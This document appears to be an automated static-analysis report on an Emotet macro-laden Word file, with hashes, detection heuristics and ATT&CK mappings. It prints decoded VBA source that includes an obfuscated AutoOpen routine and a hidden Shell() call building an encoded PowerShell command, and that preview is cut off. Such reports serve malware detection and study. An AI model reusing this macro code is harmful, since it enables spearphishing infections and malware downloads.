Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bbb32e50e85d3221…

MALICIOUS

Office (OLE)

102.5 KB Created: 2018-05-25 11:01:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: c8d98b4a81e858c0197f9df887538fe5 SHA-1: 053175ef15f4028fd2f3996165c0ea84c9cae512 SHA-256: bbb32e50e85d32216cc8ba1e3a4762ee17baaa22a05316bfe5a7bdf05fe1887f
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing a VBA macro. The Autoopen macro triggers a Shell() call, which is highly indicative of downloading and executing a second-stage payload. ClamAV detection further confirms its malicious nature, identifying it as Emotet. The presence of an Autoopen macro and Shell() call strongly suggests an attempt to execute arbitrary code upon opening the document.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6891475-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6891475-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19297 bytes
SHA-256: a6b3bf19de52ad33e7686f191fa3ffa5b679ce7722544c6442e460da8c8872b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IsBHOtsGrB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function PFPSXQ()
On Error Resume Next
Set kLZQnT = blDSjS
cRvQCB = mXahRm + CSng(55081) + 25380 / Sin(49330 - CByte(37517) / 97746 - Round(20551)) + DVBpCs * UjQIK - (17614 + 2995 + 19167 - 6283)
Set ibHuw = ziWhIN
kTVff = QFNKu + CSng(53718) + 5303 / Sin(13404 - CByte(33755) / 44140 - Round(16745)) + SJWpWD * EhCHjK - (97656 + 12778 + 45739 - 61913)
PFPSXQ = aZBjT + XhvPEJURCOV + WDjUlArK + iZKZL + TnEpdVmQO + qIisihmKGVU + RdoiDMjKl + SbbfAS
Set pdWDmz = RMSvh
LNwpDp = wSmaZO + CSng(97485) + 63739 / Sin(99557 - CByte(92079) / 40947 - Round(59563)) + chiOPX * YFqZI - (194 + 39212 + 90875 - 37086)
End Function
Sub Autoopen()
On Error Resume Next
Set JCils = rvdYw
RQzQGF = iiZjQV + CSng(82362) + 54346 / Sin(24560 - CByte(33703) / 49380 - Round(88793)) + NlmSw * jLnSmz - (50788 + 79952 + 77571 - 48735)
mwTMhdwRzU (PFPSXQ)
Set stPRkf = VSPBui
DdvVfi = UQVSuP + CSng(75821) + 64590 / Sin(80047 - CByte(62136) / 4797 - Round(5618)) + ZffmdF * wdZhR - (17388 + 77337 + 66806 - 40698)
End Sub
Function mwTMhdwRzU(DcHwEvVuHm)
On Error Resume Next
Set UIuzXc = wpQwoc
zruFXw = sabiq + CSng(83014) + 76542 / Sin(3164 - CByte(72999) / 52953 - Round(9021)) + KMuIm * Clnnp - (12848 + 15755 + 1474 - 81771)
Set ZOjKWV = iTPhlF
DorbSX = jHDUN + CSng(41699) + 9516 / Sin(70378 - CByte(40255) / 50212 - Round(80495)) + FbXst * okLoXT - (33129 + 61709 + 81627 - 68427)
wWhsQsjSCA = Shell(auVZhhNJ + Chr(vbKeyP) + zORLjpirj + DcHwEvVuHm, vbHide)
Set PjiTd = HfqJAW
wprlAV = wzldmt + CSng(89426) + 68052 / Sin(68932 - CByte(6897) / 63590 - Round(60072)) + jFtHh * lPNDjo - (25871 + 26807 + 81705 - 66756)
End Function


Attribute VB_Name = "jfVCERuEjjv"
Function aZBjT()
On Error Resume Next
Set GcWGv = pwIkAb
WLZdhd = PKwtbB + CSng(74029) + 54594 / Sin(62474 - CByte(31294) / 35636 - Round(71863)) + MfbbA * tCozs - (57858 + 11058 + 43486 - 69133)
jfLJbQQl = "owersHeL" + "L -WinDow" + "sTyle hidde" + "n -e I" + "AAoACgAKAAi" + "AHsAMQA1AH0A" + "ewA3AD" + "EAfQB7AD"
Set QAACB = vfcit
NSsSPN = qkzdIj + CSng(92871) + 53327 / Sin(24994 - CByte(7971) / 29813 - Round(42539)) + CUPPRi * KkwzV - (58956 + 1301 + 78308 - 42358)
DRaISNPiM = "kANgB9AHsA" + "MgAwAH0AewAzAD" + "EAfQB7ADkAOAB9A" + "HsAMQA4AH0AewA" + "xADAAMgB9AH" + "sANQAyAH0A" + "ewA3ADU" + "AfQB7ADEAMA" + "AwAH0AewA"
Set aOsut = SXrTF
ibNIOq = CcAjBR + CSng(12064) + 76149 / Sin(97159 - CByte(13603) / 58171 - Round(66761)) + FHdAi * IvwsZO - (12679 + 68457 + 2390 - 40579)
XzjjodKWVYW = "1ADEAfQB7ADMA" + "MwB9AHs" + "AOAAwAH0Aew" + "AyADMAfQB7ADEAM" + "QB9AHsA"
Set NPKvTc = hqdnkU
NkzUb = MiihzF + CSng(69480) + 51594 / Sin(35050 - CByte(90235) / 64915 - Round(9680)) + MtOYM * iDTnGV - (21380 + 54962 + 53800 - 23014)
CHtXNZwQA = "MgA3AH0Ae" + "wA3ADk" + "AfQB7ADgAfQB7A" + "DYAOQB" + "9AHsANAA4AH0A" + "ewA3ADQAfQB" + "7ADUA" + "NwB9AHsANQA1A"
Set IOaXaj = czOszP
viSIWz = liwut + CSng(82288) + 46119 / Sin(23305 - CByte(73834) / 55453 - Round(15686)) + omTiv * JdvOXm - (7788 + 6700 + 84241 - 20656)
NGNAGTSmnM = "H0AewA0ADUAfQ" + "B7ADgA" + "NQB9AHsA" + "MgA0AH0AewA1ADA" + "AfQB7ADgAMwB9A"
Set sUEMRW = icjsNQ
lkkbJ = DWVNWQ + CSng(45340) + 21612 / Sin(18597 - CByte(81624) / 80283 - Round(98046)) + YtIDC * PnASF - (33272 + 30311 + 60563 - 5271)
IdUJfutA = "HsANgA2AH0Aew" + "A2ADEAfQ" + "B7ADAAfQB7ADYAM" + "AB9AHsA" + "NAAwAH0AewA5ADA" + "AfQB7ADUAOQB9AH" + "sAOQA0AH0A" + "ewAzADcAf" + "QB7ADkA" + "fQB7ADMAOQB9AH"
Set BTciij = wrqBz
UmrtA = SdhiEt + CSng(79182) + 5635 / Sin(8571 - CByte(31972) / 91808 - Round(12525)) + UYHWNQ * pXJLLV - (31415 + 36815 + 61733 - 61862)
pouowH = "sAMQAwADgAf" + "QB7ADU" + "AfQB7A" + "DkAMQB9AHsAN" + "QAzAH0AewA" + "1ADYAfQB7" + "ADEAM" + "AB9AHs" + "ANgAyAH0A"
aZBjT = jfLJbQQl + DRaISNPiM + XzjjodKWVYW + CHtXNZwQA + NGNAGTSmnM + IdUJfutA + pouowH
En
... (truncated)

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